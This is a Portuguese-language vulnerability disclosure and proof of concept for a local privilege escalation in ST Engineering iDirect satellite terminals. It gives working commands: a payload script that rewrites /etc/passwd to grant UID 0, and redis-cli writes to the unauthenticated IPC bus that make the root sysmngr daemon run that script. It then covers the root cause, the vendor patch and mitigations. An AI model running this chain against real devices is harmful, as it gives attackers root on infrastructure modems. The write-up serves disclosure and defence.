Prova de conceito para CVE-2026-38056: o barramento IPC Redis sem autenticação em terminais de satélite iDirect permite que qualquer usuário local acione a execução de script como root via sysmngr.
Escalonamento de Privilégios Local via Barramento IPC Redis Não Autenticado
ICSA-26-183-01 | CVE-2026-38056 | CVSS 4.0 9.4 (Crítico) | CWE-862 | Corrigido
O dispositivo testado foi o iQ200 e é fabricado pela ST Engineering iDirect. É um modem de satélite que você encontraria parafusado em racks em plataformas de petróleo, navios de carga, bases militares de campo e em qualquer lugar que precise de conectividade confiável onde os enlaces terrestres não chegam. O tipo de dispositivo que é configurado uma vez, colocado em um armário e deixado lá por anos.
Passei alguns dias examinando-o. Acabei encontrando várias vulnerabilidades zero-day; aqui explicarei apenas uma delas.
| Fabricante | ST Engineering iDirect |
| Produtos | Terminais da Série iQ, terminais da Série 3315, terminais da Série 9 |
| Firmware | <=4.5.2.1 |
| Componentes Principais | Redis 3.2.5 (barramento IPC), sysmngr (daemon gerenciador do sistema) |
Algumas coisas chamaram a atenção imediatamente. Redis 3.2.5 de 2016. Isso não é necessariamente explorável por si só, mas diz algo sobre o ciclo de vida de desenvolvimento e quanta atenção a segurança está recebendo.
Quando obtive acesso ao shell usando a conta de baixo privilégio fornecida (usada por operadores de campo), a primeira coisa que fiz foi olhar o que estava escutando.
$ netstat -tlnp
Redis na porta 6379 chamou minha atenção. Redis em um modem satelital embarcado é incomum, normalmente é uma tecnologia do lado do servidor. Tentei conectar:
$ redis-cli PING
PONG
Sem senha. Sem autenticação alguma.
Isso é interessante, mas não necessariamente uma vulnerabilidade por si só. O protected-mode estava habilitado, o que bloqueia conexões remotas, então o Redis só era acessível localmente. A questão era: para que o Redis está sendo usado, e ele controla algo sensível?
Eu despejei todas as chaves:
$ redis-cli KEYS '*'
48 chaves retornaram. A maioria eram dados de telemetria e status, estado do modem, níveis de sinal, contadores de tempo de atividade. Mas três chaves se destacaram:
INSTALL_SCRIPT
INSTALL_DIR
INSTALL_START
Parecia um pipeline de instalação de software.
Investiguei os processos em execução e encontrei o sysmngr, o daemon gerenciador do sistema que roda como root. Ao examinar seu comportamento (observando padrões de acesso a arquivos, monitorando a atividade de processos e testando alterações de chaves), descobri como o pipeline de instalação funciona:
sysmngr consulta continuamente a chave INSTALL_START usando GETSET (lê o valor atual, define como zero)INSTALL_START passa para um valor diferente de zero, o sysmngr lê INSTALL_SCRIPTINSTALL_SCRIPT como rootINSTALL_DIR é usado como diretório de trabalhoNenhuma verificação de assinatura no script. Nenhuma lista de caminhos permitidos. Nenhuma verificação de propriedade de arquivo. Nenhuma verificação de permissão. Ele simplesmente executa.
A premissa de design era clara: "apenas processos iDirect confiáveis escreverão nessas chaves." Mas o Redis não tem controle de acesso habilitado, e o redis-cli vem pré-instalado no dispositivo. Qualquer usuário local pode escrever em qualquer chave.
A escalada completa leva cerca de 10 segundos e exige exatamente três comandos além de escrever um script de payload. Nenhuma ferramenta adicional é necessária, tudo já está no dispositivo.
Comece como um usuário sem privilégios:
$ whoami
testuser
$ id
uid=1002(testuser) gid=1002(testuser) groups=1002(testuser)
Escreva um payload:
$ mkdir -p /tmp/pkg
$ cat > /tmp/escalate.sh << 'EOF'
#!/bin/sh
sed -i 's/^testuser:x:1002:1002/testuser:x:0:0/' /etc/passwd
EOF
$ chmod +x /tmp/escalate.sh
Execução do gatilho:
$ redis-cli SET INSTALL_DIR /tmp/pkg
OK
$ redis-cli SET INSTALL_SCRIPT /tmp/escalate.sh
OK
$ redis-cli SET INSTALL_START 1
OK
Aguarde dois segundos. Faça login novamente:
$ ssh [email protected]
$ whoami
root
$ id
uid=0(root) gid=0(root)
É isso. O testuser passou de UID 1002 para UID 0.
O payload que usei aqui é simples, apenas edita o /etc/passwd para alterar o UID. Mas, uma vez que você tem execução arbitrária de scripts como root neste dispositivo, as possibilidades são amplas: backdoors persistentes, modificação de firmware, interceptação de tráfego, coleta de credenciais, manipulação do link de satélite, movimento lateral para outros dispositivos de rede.
Duas falhas de design se encadeiam:
1. O barramento IPC do Redis não tem controle de acesso.
O Redis é implantado como um barramento compartilhado entre processos do sistema sem autenticação (requirepass está vazio). O modelo de confiança implícito assume que apenas processos do iDirect se conectarão. Essa suposição se rompe no momento em que qualquer usuário obtém acesso ao shell, porque o redis-cli vem pré-instalado e não há nada que impeça um usuário local de ler ou gravar todas as chaves no barramento.
2. O sysmngr executa scripts sem validação.
O pipeline de instalação de software confia no valor de INSTALL_SCRIPT incondicionalmente. O script não precisa estar em um diretório específico, não precisa ser assinado, não precisa pertencer ao root e não precisa passar por nenhuma verificação de integridade. O sysmngr simplesmente o executa.
Qualquer uma das falhas isoladamente já seria um achado. Juntas, elas criam uma cadeia de escalonamento de privilégios confiável e trivial.
O erro subjacente é comum em sistemas embarcados: tratar "local" como equivalente a "confiável". Em um sistema multiusuário, especialmente um em que técnicos de campo recebem contas restritas, o localhost não é uma fronteira de confiança. Processos executados como usuários diferentes na mesma máquina não têm privilégios iguais, e os mecanismos de IPC entre eles precisam impor isso.
Esta não é uma vulnerabilidade teórica. O exploit é trivial, confiável e usa apenas ferramentas pré-instaladas.
Para este dispositivo específico:
idirect (UID 1500), destinado a ser uma conta restrita para técnicos de campo, pode explorar issoPara implantações em frota:
9.4 (Crítico) CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
A ST Engineering iDirect corrigiu a vulnerabilidade e recomenda que os usuários atualizem o software para a versão 4.5.3.0 ou mais recente.
1. Adicione autenticação ao Redis. Defina um requirepass forte em /etc/idirect/redis.conf e atualize todos os processos do iDirect para autenticarem. Esta é a correção mínima viável.
2. Vincule o Redis apenas ao loopback. Defina bind 127.0.0.1 para eliminar qualquer exposição de rede. (O protected-mode ajuda, mas a vinculação explícita é defesa em profundidade.)
Descubra as ferramentas mais usadas pela nossa comunidade.
Sem dados de popularidade ainda.